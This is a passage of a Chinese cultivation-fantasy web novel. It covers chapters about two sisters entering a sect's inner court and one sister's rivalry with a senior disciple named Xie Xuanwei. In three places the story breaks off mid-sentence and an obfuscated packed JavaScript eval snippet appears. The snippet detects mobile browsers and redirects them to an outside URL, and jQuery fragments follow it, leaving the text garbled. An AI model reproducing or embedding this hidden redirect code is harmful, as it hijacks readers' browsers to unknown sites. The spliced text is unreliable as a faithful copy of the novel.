没错,他早就认出来了。虽然系统没有提示,但还有哪个比眼前这个谢玄微更像天命之人的?如此出身名门,天资超凡,机缘如云,性情高冷,不正是天命之人的标配吗?如今,他只要好好的配合这天命之人,助力她的修行,辅佐她的大业便是。 * 山巅,祈愿台。 清音宗主峰之巅,设有一块打坐石坛,曾是清音宗掌门静坐祈愿,突破道心瓶颈之地,后来,又有无数弟子在此地发愿明志,故曰祈愿台。 此时,正有两名少女在祈愿台之上,俯瞰天下。 陆青青可不是来祈愿的,只是问道之后,得知自己和陆青辞皆已登临筑基境,意兴大发,非得踏遍清音宗,昭告天下不可。 她对着漫山遍野的流云野鹤,缭绕云雾,大喊了无数遍“我们筑基了,我们入内门了”,虽然回应她的只有她自己的回声,可这一点儿也没有熄灭她的心中焰火,反而教它烧得更旺了。 少女清脆的呼喊撞在山间,荡开层层回声。 陆青辞静静望着意气勃发的少女。 她斜靠一棵老松席地而坐,一腿屈起,宽袖随意垂落在地,少年人的散漫劲儿藏也藏不住。 陆青青终于喊累了,回到她身边,跪坐下来道:“阿辞,现在肯给我看了么?我都把我的给你看了。” “什么?”声音还是懒洋洋的。 陆青青道:“你问道后的名帖啊!明知故问!” “啊。” 陆青青盯着她。她知道陆青辞口中的唔啊都是在应付,每回碰上不愿回答的问话,她便会如此。上山之前,陆青青要看她名帖,她就是这般糊弄,后来被陆青青缠得狠了,只说上山再看。 此时,两人已在山上,却又不肯拿出来了。 这很不寻常,要知道,以往陆青辞可从不会瞒她什么。 陆青青看着她,疑惑不已。她有个坏毛病,旁人越是不教她做什么,她就偏要做。先前她只是一时兴起,好奇陆青辞编了个什么话来骗人,眼下却不得不一探究竟了。 陆青辞看她神色,便知她要做什么,正待推拒,却不防陆青青忽的凑近了。 一阵清香袭来,少女的面颊几乎要挨到她的下颌。 随即,不待她有所反应,少女温热的手便隔着一层衣料,往她心口处胡乱摩挲,还微微仰着脸,对她盈盈笑着。 似有一道异样暖流涌遍全身,她身子僵硬,只能眼睁睁看着那只手从她怀袖内取出了一页名帖。 陆青青并未察觉她的异样,她只知晓陆青辞有个小毛病,不喜被她触碰心口周遭,一旦被碰,就会浑身紧绷,僵立不动,遂用这法子偷了个空子。 名帖一拿到手,她便急急展开去看。 那名帖上的境界一栏是筑基,陆青辞一早便告知她了,她也不意外,只是那道心一栏,却赫然写着:守一人,守天下。 “守一人,守天下。” 陆青青反反复复念叨了两遍,转首笑问道:“阿辞莫不是也听去了我的话,要为这天下除魔卫道了?不过这守一人是什么意思呢?我却不懂了。” 陆青辞避开她视线,道:“啊,是那问道的写的。” 陆青青回想一回宋时安为人,觉得这事似乎像是此人会做的。 她拍手道:“是了,那问道之人我先前认得的,名叫宋时安,言语确是颠倒古怪得很。阿辞说守天下,他偏要自作主张,加一行字,教人摸不着头脑。当真可笑!” 陆青辞唔了一声。她本来只说了前三个字,其后的三个字,是那问道的执事擅自替她补充的。她又不耐地重复了一遍。那人听后愣了半晌,而后直夸她境界比他还要高。 “守一人便是守天下,一生万物,万物归一,小友这般通达自然,实在是高啊。” 陆青辞:…… 她懒得再说,任由他擅自为她的道心续上了一笔,便有了这“守一人,守天下”之说。 陆青青既解了惑,便也不再想。将那名帖丢还给她,起身至崖边,俯瞰而下。 此处不愧是清音宗之巅,而清音宗也不愧是修仙界数一数二的大宗门。从山巅往下望去,只见山峦连绵,殿宇亭台,如星罗密布;灵气蒸腾,托楼阁如浮岛。又有两峰之间,瀑布悬泻,水雾与灵气交融,映出道道七色虹芒。 站在山巅望去,当真是,天地万象,尽收眼底。 登高远望,总是会教人生出些豪情壮志来。 陆青青忽道:“总有一日,我要教这清音宗都听到我们的名字。” 过了一时,她又道:“不对,阿辞说要守天下,那便要整个修仙界,整个天下,都知晓我们的名字。以后,所有人都会知晓,这世上有一个陆青青,有一个陆青辞。到时候,谁也不能小瞧我们啦!” 她转向陆青辞:“阿辞,你说好不好?” 此时辰时将至,天际一道金光倾泻而出,映着少女的轮廓光芒万丈。 陆青辞微微怔忪,过了一时,才微笑道:“好。” 陆青青得意地笑了,她转向山崖,大喊道:“终有一日,我要这九州天下都传扬我们的大名!” 话音刚落,仿佛有人在天幕上划开一道口子,金红色的光从那道口子里狂泻而出,泼洒在山峦云海上。云雾被染成赤金色,层层叠叠,翻滚着涌向天际。 回声还在一遍遍荡开:“天下天下……传扬传扬……大名大名……” 山风猎猎,吹得少女衣袂翻飞,如振翅入云的鹰。 不一时,她身边多了一个身影。 陆青辞同她并肩而立,衣袂相连,望着脚下的青山云海。 殿宇在初升的日光里浮沉,飞檐翘角被镀上金边,像被火焰点燃了。灵气从山涧蒸腾而上,直入云霄。 * “不知天高地厚的蠢货!” 主峰的一处山洞里,原本在打坐静修的中年男修抬起头来,冷笑一声。 他身边的年轻男修也啐了一口,附和了一句,忽见中年男修身子一歪,急忙伸手去扶。 “兄长,你的伤……” “不要紧,不过是用药过急——”他说到一半便吐了一口气,剧烈咳嗽起来。 年轻男修一面为他拍背,一面试探道:“兄长既是为那丹药伤到了,可有什么……解药啊,不然教家里送来——” 闻言,中年男修面色忽然阴沉下来,斜眼瞥他:“我几时说是为那丹药所伤了?” 见年轻男修畏惧地低下头,唯唯诺诺,他又疾言厉色道:“一陀,你虽非青石宗亲传弟子,也该知道我青石宗是以丹道在这修仙界立足,我所服之丹药,自是我家传内丹,怎会毒害于我?只是我服用过急,比斗时你又不济事,才劳我拼力支撑,灵力过度损耗。我念你年幼,不曾出言挑明,你却还不知罪吗?” 石一陀连连道:“我知罪,兄长莫怪,兄长莫怪。” 中年男修冷冷地哼了一声:“一陀,有时,我真后悔是点了你来清音宗。说是相助于我,你又何曾助我什么了?” 石一陀唯唯诺诺半晌,而后愤慨道:“兄长,说到底,还是那姓谢的压得兄长不能出头,才会服药过急,我定会找出那人的破绽,替兄长出一口恶气!” 与此同时,某处山峰上,师徒二人在一棵参天古松下,相对而坐。 一人白衣如雪,气度清冷出尘,正是谢玄微。另一人白发如霜,面容温和平静,却是灵音长老。茶烟袅袅,从两人之间的石案上浮起,被山风吹得飘飘而散。 灵音长老端着茶盏,目光越过谢玄微的肩头,遥遥望向远处那片被朝霞染红的云海。那里,隐约可见两个小小的身影,立在崖边,在金光映照下,却有光芒万丈之势。 “九州天下……传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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灵音长老并未察觉她这细微的异样,依旧捻着名帖,语气里带着几分惋惜:“我记得这孩子,她先天资质着实不错,只可惜,灵体先天不足,又不曾得过康养,虚弱不堪。今日这问道又应答泛泛,可见其道心中空,心性浮躁,本心并不在修道正途之上。如她这般,要入道不难,可若想精进,却是难如登天啊。” 茶杯轻落于石案,谢玄微敛袖交叠于身前,身姿端方:“师尊教诲得是,弟子不敢有异议。只是方才听师尊提及,修道之路无定法,道途不同,却能殊途同归——” 话到此处,灵音长老讶然失笑道:“玄微,你可是在为这弟子求情?” 谢玄微一滞,停了话头。 “弟子失言。” 灵音长老摇了摇头,既感讶异,又觉欣慰。 自家这徒弟,千好万好,却是有一样,太过仙气,少了点暖意,对人对事皆是冷冷清清,不闻不问的。 于修道而言,这性情是极好的,可于自身而言,却是有些清苦了。 谁想,她也会为人说情了。 “你同这小弟子交好么?”灵隐长老问。语气温和,无半分探究之意,反倒带着几分温煦关切。 谢玄微道:“有过数面之缘。”顿了顿,又续言,“弟子非是徇私——” 灵音长老摆了摆手道:“不必说了。你素来雅洁,我是了解的。想来是那姓宋的小子看中了这孩子的修为。她在杂役门中,却已筑基,的确难得啊。” 她指尖落在名帖上,在“陆青青”三个字上轻点,沉吟片刻后,道:“既然如此,也是她机缘已至,便准她入门一年。这一年里,便交由你点拨引导,看她能否沉下心性,有所长进。” 谢玄微闻言,敛衽行礼,声音恭敬而沉稳:“弟子愿不负师尊所托。” 灵音长老端起茶盏,呷了一口,目光望向远处云海,语气悠悠:“这亦是你的机缘。她承了你今日之情,该当有一份因果在。我派心法愈是精进,愈是险峻,若得外力相扶,那便不同了。这孩子体质特殊,兴许会是你破境固身的助力。” 她见谢玄微似是不明了,却也并不赘言,只望着远处,目光幽远:“天道轮回,因果不虚,日后,你自会知晓。” 谢玄微微微颔首,不再多言,转而也去望那远处山巅上的小小身影。 山风浩荡,吹得少女衣袂猎猎翻飞,她双臂舒展张开,身姿轻盈昂扬,宛若即将乘风而起,振翅入云的飞鸟。 19. 第 19 章 清音宗内门弟子课业表: 卯时,晨间吐纳,养身护体 辰时,早课授业 巳时,术法修习 …… 未时,静修 申时,博学研修 酉时,晚课 戌时,打坐 …… 课业表贴在床畔,床榻上睡着个陆青青。 好消息:陆青青入内门了,坏消息:一天十二个时辰,有七八个时辰都是在手忙脚乱。忙得陆青青连琢磨怎么对付谢玄微的空闲都没有了,只顾着在心法课业的汪洋大海中畅游或者说扑腾。 学海无涯,说的就是这个吧。 不过勤学苦练,也不是没有回报。 前日,内门弟子往望幽谷试炼,陆青青身份今非昔比,自然也在其列。她才刚入内门,根基浅薄,没人能想到,她竟然会成为当日猎魔除妖的佼佼者。 说实话,陆青青自己也没想到,她只是偶然瞥见了谢玄微的一袭白衣,心想只要悄悄跟过去,定能寻到猎物。她这么想也这么做了,并且心想事成,和谢玄微一起,成了率先寻到魔物的弟子。 出乎她意料是,看到她出现在近旁,谢玄微竟没有抢先对魔物出手。 陆青青事后回想,其险恶用心,当时便已有端倪,只可恨她被那女人光风霁月不争不抢的姿态给蒙骗了,丝毫不察。当即毫不犹豫,径自出手朝魔物挥出一打符帖,而后跃上魔物脊背,打算在一众同门和谢玄微面前,露一手新学的术法,给魔物来个华丽斩杀,顺便小小地震慑一下这些看她不起的同门弟子,尤其是那个谢玄微。 不出意外的,还是出意外了。 符帖未能将魔物彻底打服,反而激发了它的狂性。那魔物只趴伏了一息,待陆青青跃上它身后,忽然自梦中惊醒般,挥舞着触肢,仰天长啸,口器中毒液狂喷,其中一滴,精准命中了陆青青的左足。 陆青青:? 痛痛痛痛痛! 正在为大招蓄力的陆青青,就这么急痛攻心的从魔物脊背上摔了下来,这还不够,她恰好摔在魔物身侧,摔下来后,伤足还被魔物的触肢踏了一脚,雪上加霜。 没错,这魔物也是只蜘蛛,还是只生着八条触肢的身躯庞大的驼背毒蜘蛛。 自此,陆青青混世锦囊中又添一条:蜘蛛定然和她八字相克,要远离。至于谢玄微,那就不必说了,更是她命中的克星,属实是一个大灾殃! 她事后推想,这回的事端,也全赖谢玄微从中作梗。谢玄微之所以不抢先出手,应是有意引她先行试探那蜘蛛的虚实,待她落败之际,再从容将之斩杀。 实在是可恶啊可恶。陆青青立时便将这笔账记到了谢玄微头上。 不过自古祸福相依,又有古训:吉人自有天相。陆青青承此吉言,摔下来后,怒气值暴涨,灵力冲顶,狠狠将那踩踏她的蜘蛛触肢斩了下来。 全因这一斩,她才和随即斩灭蜘蛛的谢玄微一起,并列成为了当日试炼的佼佼者,并得到十枚上品灵丹作赏。 也因此祸殃,她能以带病之身,暂时脱离学海,自自在在地休息几日。 譬如今日,辰时早过了,陆青青还在美美地酣眠。 木门外传来笃笃两声轻叩。察觉到来人气息,无形的禁制自行消散,而后门被人推开了。身形挺拔的人影走进来,带上门,走到小矮几旁,放下手中的食盒。 那人身形清瘦挺拔,自顾自走进来之后,便径自落坐椅榻,身子慵懒向后斜倚,长腿随意交叠舒展,漫不经心搭上矮几。 行止散漫,落拓不羁。 她侧目望向熟睡中的少女。日光斜斜透过窗格,洒落在她俊美的眉目间,疏疏落落的。 过了一时,见少女仍是不醒,陆青辞探手入怀,取出一把刻刀,一截椴木,随手雕琢起来。 刻刀在指尖流转自如,刀刃轻划椴木,簌簌落下细碎的木屑。 陆青辞眉眼低垂,往日里漫不经心的神色淡了几分,指尖动作虽随意,却半点不杂乱,一刀一刻间,木雕的轮廓渐渐清晰——竟是只娇憨的小雀儿。 一阵风吹来,陆青青似是被扰了,蹙了蹙眉,吐出一句含糊不清的梦话,隐约透着几分娇嗔。 手中刻刀一顿。 过了一时,又继续起落。木屑越积越多,那小小的雀儿愈发精致,雀尾隐约现出一笔小小的字,笔锋潦草,藏在蓬松的羽纹间,一时看不出是何字。 过了约莫半个时辰,刻刀停下,指骨分明的手捏着那只小雀儿,指腹反复摩挲着雀尾那个模糊的字迹。 陆青辞侧首,目光落在榻上熟睡的少女身上,低声唤了句:“阿青。” 谁料,床上的人似是被这低唤扰得烦了,胡乱摆了摆手。 陆青辞呼吸猛地一滞,手中的小雀儿险些滑落。 那一摆之下,原本盖在少女身上的薄被就这么掀开了一角,薄被之下,少女衣襟半敞,现出一片山峦般绵延起伏的白皙美好,被斜斜洒入的日光镀上了一层细腻柔美的胭粉色泽,美得教人目眩神迷。 偏偏她全无所察,蹙着秀眉,一脸不耐。 陆青辞默然良久,起身行至塌前,扯过那薄被,替她盖好。而后屈起一指,在她额上轻轻弹了弹。 “起来了。” 陆青青迷迷糊糊地睁开眼,一手捂着额头,睡眼惺忪地看着眼前人,语气带着刚睡醒的软糯与几分不耐:“做什么……扰我困觉。” “带了你爱吃的,冷了不好吃。” 陆青青衣衫不整地坐起身,打了个哈欠。 陆青辞只望了一眼,便回转身,行至矮几旁,背对着她坐下来。 食盒盖子被轻轻揭开,发出一声清脆的轻响,淡淡的桂花香气瞬间漫开,清甜软糯,飘得满室都是。 “啊,是桂花酥!阿辞你又下山去了?今日没早课么?” 陆青青睡了半日,腹中空空,闻到美味佳肴,霎时便清醒了。未及穿好衣裳,匆忙捻了个新学的诀,清洁了一番周身污秽,便坐到矮几旁,大快朵颐。 陆青辞并未看她,在指间漫不经心地转着刻刀,过了一时,开口道:“衣裳穿好。”语气里带着几分不易察觉的紧绷。 陆青青已吃了一块桂花树酥,正待去拿第二块,闻得此言,放下手,笑道:“阿辞几时这么多事了?小时候我们不是每夜睡在一张塌上么?”话虽如此,她还是乖乖拢了拢衣襟,系好了衣带。 视线无意间瞥见陆青辞手中刻刃,她好奇道:“阿辞近日在学雕刻么?” 这回陆青辞倒是应了:“那个老头教的,可静心。” 陆青青哦了一声。 入内门后,陆青辞偶然在后山遇上一个怪老头,此人衣衫褴褛,一只酒葫芦不离身,一开口便是酒气冲天,神神叨叨,却不知怎的看上了陆青辞,非要收她为徒。陆青辞懒得理会,谁知那老头竟时时现身在她面前,非将平生所学教她不可。 陆青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537248|203854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青听了,倒没多问。 陆青辞的性子,素来落拓孤傲,不假辞色,不喜与人交际,另一面来说,若她稍稍起了兴致,无论什么三教九流,天潢贵胄,乞丐盲流,甚至亡命之徒,皆可与之相交。 世俗功名,身份规矩,她是一概视若无物的。 和这么一个疯疯癫癫的老头结交师徒之谊,也不足为奇。 陆青辞看着她吃完最后一块桂花酥,将先前雕好的小雀儿取出,放到矮几上。 还未开口,陆青青已瞧见了,取过来左看右看,爱不释手:“这是阿辞给我的么?” “啊,随手刻的。” 木雕小巧精致,栩栩如生,雀儿歪着头,眉眼灵动娇俏。 陆青青越看越觉有趣,忽又回忆起什么,道:“我们以前在铺子里见过这类木雕玩意儿,你记得么?那时整条街的孩童都爱去那家铺子里玩。” 陆青辞又只回了一个字。 “阿辞这般应我,定是忘了。”陆青青笑道。 说完她站起身,一瘸一拐地走到窗畔,将那只小雀儿安放到窗棂上。窗棂框以薄绢为衬底,其上绘着鸾鸟与白鹤的图案,正与那木雕小鸟相称。 陆青辞抬眸看她。 她口中那件幼时往事,她当然记得,从小到大,和她的每一件事,她都记得清清楚楚。 却也没必要教她知晓。 一室寂然,风透过窗棂缓缓漫入,掀动纱帘轻晃,鸾鸟仙鹤在光影里微微浮动。 陆青青立在窗前摆弄木雕小雀儿,口中轻声哼着不知名的山野小调,调子轻软细碎,不成章法。她神情专注,双瞳明润澄净,日光在她纯白面颊上染了一抹极淡的胭色,宛如春日落花,美得近乎哀伤。 少女这般旁若无人的静好,本就是易碎之物。无根无凭,似月下幻景、雾中繁花,朦胧柔软,却不可触碰,一碰便会烟消云散。 陆青辞靠在椅塌中,长久默然地注视着她。 四下再无别声,只余两人轻浅错落的呼吸,缓缓交织在这片温柔静谧的日光里。 陆青辞一贯懒言,陆青青不说话时,两人便只是这般沉默相对。 过了一时。 几声厚重的钟磬之音传来,搅乱了室内静谧,陆青青侧耳细听,道:“现下午时了罢,正好我有一个地方想去呢。” 陆青辞沉默片刻,开口道:“去哪儿?我抱你过去。” 陆青青转过脸来,道:“我又不是小孩子了,还要你抱来抱去的。” “那我,背你。” “不要,我自己能走。”陆青青拒绝了。 陆青辞不知是吃错了什么丹药,自她摔伤了腿,不是要抱她,就是要背她。她又不是不能走,只是暂时走得难看些罢了。 陆青辞默了默,心知她是任性贪玩了,也不再多说,站起身来:“我去修习。” 木门阖上了,陆青青在窗前看着陆青辞的身影渐渐远去,懒懒地伸展了一下双臂,她倒不是有意请陆青辞离去,而是确实有个想去的地方,却不便带陆青辞一起。毕竟她是去干坏事的,总要避着人才好。 * 杂役院里,正是午歇时刻,人来人往,食盒碰撞之声不绝于耳。 在这些声响之外,还另有杂乱人声,似在争抢什么宝物,叫喊个不住。 一排竹林之后,几位杂役众星拱月般,围聚在一位美貌少女身旁。那少女面容娇美,神情骄矜,手中灵巧地转着一只小小丹丸。 20. 第 20 章 众人眼睛随着那丹丸慢慢地转着,神情间满是渴求之色,口中直道:“给我吧。” “给我给我!陆师妹!” “是陆师姐,陆师姐,赏我一颗吧!” “陆师姐当真是重情重义,入了内门也不忘我们!” “陆师姐少年天才啊!” 听着众人的夸赞奉承,陆青青心中好不得意。 古来是小人得志便猖狂,陆青青是大人得志,忍不住耀武扬威之心。 这时,偏有两位不识相的女修拎着食盒从旁路过,其中一位瞧见陆青青,先是一怔,而后冷笑一声,转而去和身旁同伴悄声耳语。 陆青青在一片奉承声中,捕捉到了这声冷笑。 还是个杂役院的熟人。 她视线斜扫向那人,说道:“宋亚,幸会啊,不记得我了么?我有天材地宝制成的灵丹一枚,你想不想尝一尝?” 宋亚转过脸来:“谁能忘了陆师妹这位大人物。靠着巴结谢师姐才进了内门几天啊,现在是要回来装模作样当大善人么?” 陆青青心想:她进内门,跟那姓谢的有什么关系,怎么这群蠢货竟如此编排她! 面上却依然带着一点骄矜笑意:“你同谢师姐很熟么,怎的便知我是靠她入的内门?我在台上打赢你们的时候,你不是亲眼见了我的实力么?” 宋亚哼了一声,道:“我只看到你在台上羞辱苏师兄,断了他修仙道,害得苏师兄离了宗门回乡去了。” 苏师兄?陆青青偏头微一思量,哦,是那位名唤苏文齐的大笨瓜吧。此人是她的手下败将,早给她抛到了九霄云外,若不是宋亚提起,她都记不起来了。 她笑盈盈地道:“我如何羞辱他了?他实力不济,给我打败了,便在台上哭天抢地,闹得跟个三岁孩童似的。他若真是孩童,我兴许还会让他一分,可他是你们崇敬爱慕的苏师兄啊,我身为师妹,怎好在大庭广众之下宽让他呢。若是我宽让了他,才真是羞辱他了。” 她声音清凌凌的,说话时如云雀啼鸣般婉转,听来说不出的动人,若非知情者,乍一听到她开口,未及细思她话中意味,怕是只会认为她所言所行,确是天真无辜。 若再看到她的脸容—— 粉面桃腮,浅笑盈盈,眉目间一派纯真无邪,甜美堪怜—— 那么这一印象,便会立时成为板上钉钉的铁论。 这只是个心思单纯,不谙世事的少女,若沾染上了什么是非,定是旁人先行招惹,决计不会是她出手使坏。 “你——”宋亚面上又红又白,一时说不出话来。 这时,她身旁的宋茗出言道:“陆师妹,你如何入内门,今日且不说。可我们并稀罕你的什么天材地宝,万一里面藏着——”她说到此处,故意停顿了一下,好教众人都凝神听清楚。 “藏着东西怎么办?” 闻言,几位先前围着陆青青的杂役弟子纷纷现出茫然之色。 “藏着东西?丹药里能藏什么东西啊?” 宋茗道:“能藏的东西很多啊,比如——泻药。” 有人疑惑道:“泻药?怎么会有泻药?” 宋茗一脸高深莫测:“这个要问陆师妹了啊。也就你们这些新来的不知情,当年啊,有人可是给折腾惨了!” 杂役们望向陆青青。 陆青青不语。她的确干过这类事。六年前,她初入清音宗,因被一个年长的杂役欺负,她不管不顾地同那人打了一架。对方叫来几个同乡,人多势众,又比她年长许多,她小小一个十岁孩童,自然是落败了。 于是,她便从自己做任务所得的丹药里挑了一枚,混入泻药,送给了那骂她之人。 那人见她面上带笑,言辞恳切,竟并未提防,以为她来示弱拜山头了,当众吞下丹药,还对众人夸赞了她一番,说她识大体、懂事之类的。 结果,自然给她的诡计折磨了一夜。 那人受了这等奇耻大辱,自然不肯罢休,前来寻仇。这回陆青青没有被打,因为有陆青辞在。陆青辞替她扛下了一切,还寻了个机会,将挑事那人揍得半死不活。虽然因此犯了戒律,在执法堂挨了几鞭,可此后,孤儿下手狠辣的美名却在杂役中传扬了开去,自此少有人敢欺负她们两人了。 骂她的自然还是不少。杂役们忙碌辛苦,修道无望,闲暇之时,互相谩骂斗嘴借以取乐,也是他们开解心结的法子。 陆青青自然也不怕这些闲言碎语,只当苍蝇嗡嗡。 她自己也不是省油的灯,一旦闲下来,一肚子坏水就要往外冒,闹得人仰马翻。 众杂役见她不语,对那宋茗的只言片语都不由得信了几分,毕竟哪有天上掉陷阱的事啊。再看这陆师妹,生得美丽,却是惹人怜爱的娇美之态,绝不是乐善好施的菩萨面。 便是她着意要施舍,身边有这么多同门围着,也轮不到自己啊。因此,对陆青青手中丹丸的渴求之心,都消隐了大半,渐渐地敷衍着散了开去。 陆青青已享受过众人追捧,此时见众人散去,心下也只有一点点失落。 那丹丸本就是个虚无诱饵,陆青青可没想过真的送他们什么,她的东西,只有陆青辞可以同享,今日拿来给他们看一眼,已是天大的恩赐了。 不过这两位宋姓女修,可真是碍眼得很。她这般想着,手中早已凝聚了灵力,一指轻轻弹出,直指那两位女修的腿弯。 在连声的“哎呦哎呦”声和食盒坠地的迸溅声中,大人得志的陆青青自觉威风耍够了,转身便待离了杂役院,往别处消遣去。 谁想,却给一个呆头呆脑的男声唤住了。 “陆师妹,你咋成拐子了?” 陆青青:你才是拐子,你全家都是拐子。 以陆青青的境界,腿摔伤后一般不出五日便可复原,今日算来是第三日,她自觉腿伤已然无大碍,可行走时还是微有些跛足,加之她近日贪睡,不曾静修练功,没有充沛灵力平稳步态,便给人瞧出了异样。 她本不欲理会,可那人却径自奔来了,一座小山般横在她面前。 正是那个名唤李俊的笨瓜。 据他说,他有金刚灵体,强壮如牛。在杂役院,牛是不多见的,他这般如牛般奔踏,自然引来了周围弟子好奇的目光。 “陆师妹,你的腿咋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537249|203854||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瘸了?”李俊看着她的腿,显然颇为关心,两道粗黑的眉毛都揪成了麻花。 众人的视线,也随之纷纷落向陆青青的伤腿。 “同你有什么干系?走开!”陆青青没好气地道。 李俊却是个憨的,只顾揪着眉毛瞪着眼睛去看,总觉得师妹的腿不对劲。 陆青青推他自然是推不动的,又不想给这么多人瞧见自己跛足而行,干脆探手入怀,平挥出去一打跌倒符。 周围几个看热闹的弟子,连同李俊一起,都给震得跪倒在地,半天爬不起来。 陆青青这才拖着伤腿离了这个笨瓜蠢牛群聚之地,回了内门。 外门都是些笨瓜蠢牛,内门却也没好到哪儿去。此时正是午歇之时,修士们来来往往,其中便有有几个好事的对着陆青青的腿脚侧目而视。 他们同陆青青不熟,自然不会上前来东拉西扯,但也会和同伴耳语谈笑,虽则未必是谈的陆青青,可在眼光毒辣的陆青青看来,他们言谈间取笑的那人,必定是她。 她打发不了这许多同门,只得气呼呼地绕了个近路,拣了条僻静的竹林小道,一路疾步行到了修炼室。 修炼室是内门弟子静修之处,静修是修士修炼之根本。炼气和筑基弟子的静修一般是打坐,可将灵气引入灵脉,在大小周天的循环之下,化为精纯灵力,再缓缓运转,将灵力蕴藏于丹田之中。 陆青青灵力耗损过度,现下急需引气入体,运化灵力。 清音宗的修炼室依六十甲子排布,规整有序,每间石室门侧都嵌着对应的玉牌,铭刻有“甲寅”、“乙酉”等字样。若玉牌字样亮着,则表明室内有人,不可擅闯。 此时未时已过,石室早已人满为患,乍一看,每一间都紧闭着门,亮着玉牌,灵力波动顺着石缝溢出。 陆青青扶着墙,一瘸一拐地在石室外徘徊,却总寻不到空置的修炼室。 只好气愤愤地走出去,沿着竹径一路疾行,欲寻个灵气充沛的僻静处打坐,虽然修炼功效必会大跌,却也顾不得这许多。谁想,打坐之地没寻到,却寻见了一座孤零零的石室。 那石室掩映在一片竹林之后,四下萧萧索索,只一方寒潭清冽如镜,有仙鹤孑然临水而立。走近了,再看那石室,足有寻常石室三倍大小,门上也嵌了块玉牌,却只刻了一个“谢”字。 谢?不会是那个阴险女人的名讳吧?怪不得从没在修炼室见过她,原来她有个单独的修炼室。真是可恨,她陆青青急于练功,却遍寻不到空置修炼室,这人却独占了这么大一间石室。 看那玉牌,并未亮着,那姓谢的想必不在。不知能不能进去,暂且修习一番? 陆青青这般想着,抬手按上那玉牌。 石门纹丝不动。 再按,还是不动。 莫非是灵力不够?调动丹田内仅存的一丝微末灵力,她再度按上去。 这回终于动了,但不是门,而是陆青青。她给一股大力震飞出去,正跌落在那寒潭旁,一旁的仙鹤受了惊,振翅而飞,一坨秽物自它尾羽间忽忽而下,下落的方位,正对准了陆青青的脸。 陆青青:! 21. 第 21 章 她急向旁侧翻滚,堪堪避过那致命一击,可不巧的是,她滚落的那旁恰是水潭,就这么着,大半衣衫都浸了水,又湿又冷地贴在身上,狼狈不堪,偏偏她连捻清净诀的灵力都使不出了。 真是气煞青青也! 陆青青从水潭中缓缓起身,理了理湿透的鬓发,怨气十足地看向那该死的石室。 定是那阴险女人在门上设了禁制,她自己不用这修炼室,偏也不教旁人来用,还要这般害人。 千错万错,自然还是谢玄微的错! 要报复吗?必须的! 陆青青上前,绕着那石室慢慢踱步,思索着报仇之法。 这石室是谢玄微的,还下了禁制,可见谢玄微并不愿教人染指。她越是不教人染指这石室,陆青青就偏要搞点破坏不可。 一刻后,她在石门旁寻到了一处楔形缺口,似是方才灵力震动时所生发的。 真教她好找呢。搞点什么破坏好呢?先瞧瞧里面有什么宝贝好了。 这么想着,她弯下腰,透过那缺口向内一瞥。 一瞥之下,少女秀气的眉头立时蹙了起来。 石室中央立着一方琴案,琴案上,一张黑桐木古琴静卧如渊,琴身在昏暗的长明灯下泛着温润的光泽,一双修长雅洁的手正落于弦上,轻拢慢捻。拨挑之间,琴弦震颤,莹白灵光隐隐闪烁。 而那抚琴之人,着一身素白雅洁的广袖长衫,端然而坐,墨发如缎垂落身侧,眉眼微垂,神态冷肃宁静。 如此装模作样之态,除了谢玄微还能有谁? 陆青青暗暗恨得咬牙切齿,这谢玄微竟然在里面,那么方才的一场祸事,定是她从中作梗! 必得想个什么法子来报此大仇不可! 现下灵力施展不开,只能就地取材了。探手入怀,摸到个小巧硬物,正是陆青辞送她的小雀儿木雕,她心下忽然有了计较。 抚琴之人,最忌杂音相扰,那她就偏要扰她。 两指入口,嘬唇作哨,一声婉转的鸟鸣声响起。 可谁料,她这只鸟雀神威超凡,刚啼了两声,便引来了异变。 室内忽响起一个突兀的错音,铿然一声,琴弦寸断,抚琴的女子身子一震,吐出一口血来。 陆青青心下正不知是喜是惊,忽觉周遭灵气波动如狂潮,来不及躲避,便听“轰隆”一声巨响,石室砖墙瞬间开裂,砖石迸溅如雨。 神威超凡的鸟雀之王陆青青,就这么被一股强劲灵力推至空中,在砖瓦碎石间狂挥四爪,而后不受控地向地下坠去。 梅开二度! 哗啦一声,再度落到了水潭里。 羽毛尽湿,呃,不对,是衣衫尽湿。 陆青青:? 她这是渡劫来了吗?谁能告诉她,那坏女人到底在搞什么鬼啊? 陆青青挣扎着爬出水潭后,余光便瞥见了那女人,她急忙安顿好自己的身形,可怜兮兮地抱膝而坐,面上微微现出些茫然失措之态。 如此,便是一个十足无辜的落水小师妹,而非一心捣乱反被灵力所伤的坏师妹。 谢玄微怀抱古琴,自残砖瓦砾间缓缓步出,看到水潭边的陆青青,身形微顿,而后疾步行至她身旁。 “可有受伤?我带你——去寻医修。”谢玄微道。 话至一半,气息已乱,而说到最末,只见她面色苍白,侧目微垂,抬袖掩唇,似在极力隐忍着什么难耐的痛苦。 陆青青见她如此惨状,心下微喜,看来她病得不轻啊,不知是不是因了她那声鸟鸣的神威? 鸟鸣,是了,有鸟雀替她开脱。 